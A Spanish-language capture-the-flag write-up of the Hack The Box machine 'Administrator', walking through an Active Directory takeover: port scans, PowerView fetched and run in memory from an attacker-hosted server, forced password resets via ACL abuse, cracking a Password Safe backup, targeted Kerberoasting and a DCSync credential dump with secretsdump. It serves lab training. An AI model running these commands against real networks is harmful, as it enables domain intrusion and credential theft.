Writeup - Administrator

Plataforma: HTB

Dificultad: Media

Fecha de resolución: 02/07/2025

Windows Active Directory ACLs DCSync SPN

Descripción

Imagen de la máquina

La maquina Administrator es una maquina dedicada 80% al abuso de ACLs (Listas de control de Acceso), que permiten el compromiso del AD pivotando entre los diferentes usuarios existentes en el DC.

Temas

• Netword and PortScanning

• AD Mapping Using LDAPDomaindup.py

• Initial Access Using WinRM

• DC Enumeration Using PowerView.ps1

• ACl Enumeration Using the Find-InterestingDomainAcl Function

• User Takeover Using GenericAll (User Pivoting)

• Abusing the WinRM Service as (Michael)

• Password Reset Abuse (ForceChangePassword) (User Pivoting)

• Abusing the FTP Service as (Benjamin)

• Accessing the FTP Service to Extract the Database (Backup.psafe3)

• Using pwsafe2john to Extract Database Hashes and Cracking hash with John

• Using (Password Safe) on Windows: Credential Listing

• Abusing the WinRM Service as (Emily)

• ACl Enumeration Using the Find-InterestingDomainAcl Function

• AD Enumeration Using adPEAS (Creating a bloodhound.zip File)

• AD Mapping Using Bloodhound

• Kerberoasting Attack + Hash Cracking (User Pivoting)

• DCSync Attack with Impacket-Secretsdump (Privilege Escalation)

Enumeración

Enumeración de puertos

nmap -p- --open -sS --min-rate 5000 -Pn -v -n 10.10.11.42 -oN Sports
nmap -p21,53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49668,50073,50078,50089,50103,50139,62537 -sCV 10.10.11.42 -oN Ports
nmap

Acceso Inicial Mediante WinRm

Para iniciar el ejercicio, el cliente a compartido credenciales para tener acceso al servidor ya que el usuario pertenece al grupo “Remote Managemen Users”

Se realizo enumeración de usuarios utilizando las credenciales del usuario proporcionado

netexec smb 10.10.11.42 -u 'olivia' -p 'ichliebedich'
netexec

Enumeracion de usuarios utilizando NetExec

netexec

Para tener un mapeo del DC y darnos cuenta que nuestro usuario pertenece a grupo "Remote Management Users", se realizó la extracción de información del dominio utilizando herramienta como ldapdomaindump.py

python3 ldapdomaindump.py -u 'olivia' -p 'ichliebedich' administrator.htb 

Esto permite obtener una serie de archivo en formato html y json que posteriormente podemos visualizar montando un servidor con python3

ldapdomaindump

Intrusión

Como primer paso validamos los resultados obtenidos para este usuario y mediante la herramienta netexec apuntando al servicio winrm, podemos confirmar que la usuaria Olivia pertenece al grupo “Remote Management Users”.

winrm

Mediante evil-winrm realizamos un primer acceso.

winrm

Enumeración del AD

Parese ser que la usuaria "Olivia" no tiene privilegios o métodos para comprometer el DC.

panel

Sin embargo, con herramientas como PowerView podemos detectar que Olivia tiene control sobre cierto objecto. Primero importamos en memoria PowerView y posteriormente buscamos ACLs mal configuradas o interesante apuntando a nuesro usuario comprometido

IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4:8000/PowerView.ps1')
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "olivia"}

Esta función de PowerView está diseñada para encontrar Listas de Control de Acceso (ACLs) interesantes o potencialmente mal configuradas en objetos de Active Directory.

En la siguiente salida vemos que la usuario Olivia tiene GericAll sobre Michael Williams, recordemos que tanto usuario como por ejemplo groups se les da en nombre de objetos, entonces:

panel

Genericall otorga control total sobre el objeto Michael por lo cual le cambiaremos las credenciales

Set-DomainUserPassword -Identity "Michael Williams" -AccountPassword (ConvertTo-SecureString 'Pwned123!' -AsPlainText -Force)

Comprobamos los resultados, vemos que las credenciales son correctas y también Michael se encuentra en “Remote Management Users”

netexec winrm

De igual manera ganaremos acceso y listaremos los privilegios de Michael. Al terminar de listar los privilegios e información, vemos que no tiene nada interesante.

git

por lo cual veremos con el mismo comando si tenemos control sobre otro objeto del dominio siendo Michael

IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4:8000/PowerView.ps1')
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "michael"}
git

En los resultados podemos ver que Michael tiene permisos de ExtendedRight sobre Benjamin.

Este permiso le permite a michael cambiar la contraseña de benjamin sin conocer la actual. Para realizar esta acción podemos utilizar el mismo comando Set-DomainUserPassword que es una función de PowerView

Set-DomainUserPassword -Identity "Benjamin Brown" -AccountPassword (ConvertTo-SecureString 'Pwned123!' -AsPlainText -Force)

Validamos resultados y las credenciales fueron cambiadas exitosamente

git

Recordando, Benjamin no se encuentra en algún grupo o dentro de “Remote Managemen Users” pero tenemos un servicio llamado FTP, probamos credenciales nuevas y podemos acceder como Benjamín sobre FTP

ftp

Indagando, vemos que dentro se tiene un archivo de base de datos con nombre Backup.psafe3, lo descargamos y verificamos

ftp

Verificando y utilizando pwsafe2john podemos obtener el hash de la base de datos y con la herramienta John encontrar las creds de la base de datos

pwsafe2john Backup.psafe3 > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
ftp ftp

Utilizaremos estas credenciales para abrir la db y una maquina Windows para instalar el programa “Password Safe https://pwsafe.org/” que nos ayudara a leer la db de paasswords.

Password Safe

Una ves instalado elegimos la base de datos y también ponemos la contraseña

Password Safe

Tenemos tres usuario y tres credenciales pero solamente la del usuario emily funciona

Password Safe

Este usuario se encuentra en el grupo Remote Management Users, por lo cual realizamos una intrusión y aplicamos la misma técnica.

IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4:8000/PowerView.ps1')
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "michael"}
Password Safe

Y ahora vemos que la usuaria Emily tiene permisos de genericwrite sobre ethan GenericWrite permite modificar propiedades clave del objeto Ethan Hunt. Como por ejemplo realizar un kerberoasting.

Para verlo de mejor manera, vamos a desplegar los resultados con bloodhound

bloodhound

El usuario EMILY@ADMINISTRATOR.HTB tiene acceso de escritura genérico al usuario ETHAN@ADMINISTRATOR.HTB.El acceso de escritura genérico permite escribir en cualquier atributo no protegido del objeto de destino, incluyendo "miembros" para un grupo y "nombresprincipalesdeservicio" para un usuario

Para este escenario utilizare "Targedkerberoast.py", este nos permira obtener un hash del usuario ethan que posteriormente podremos crackear de manera offline

python3 targetedKerberoast.py -v -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'

Como dato extra, no se logro ejecutar el comando anterior por problemas de tiempo ya que le tiempo del DC esta desfazado del de mi maquina atacante y se tiene que poner al mismo tiempo para que el ataque funcione

sudo ntpdate IP
bloodhound

Se raliza el crackeo del hash y obtenemos credenciales

bloodhound

Escalada de Privilegios

Revisando con bloodhound podemos ver que el usuario ethan tiene DCSync Attack sobre administrator.htb

dcsync

El usuario ETHAN@ADMINISTRATOR.HTB tiene los permisos DS-Replication-Get-Changes y DS-Replication-Get-Changes-All en el dominio ADMINISTRATOR.HTB. Estos dos permisos permiten a un principal realizar un ataque DCSync. Simulamos ser un controlador de dominio para extraer credenciales

netexec smb 10.10.11.42 -u 'ethan' -p 'limpbizkit'
impacket-secretsdump administrator/ethan:limpbizkit@10.10.11.42
git-dumper git-dumper

Pwn3d!

Relaciones con otras máquinas

Recursos

Referencias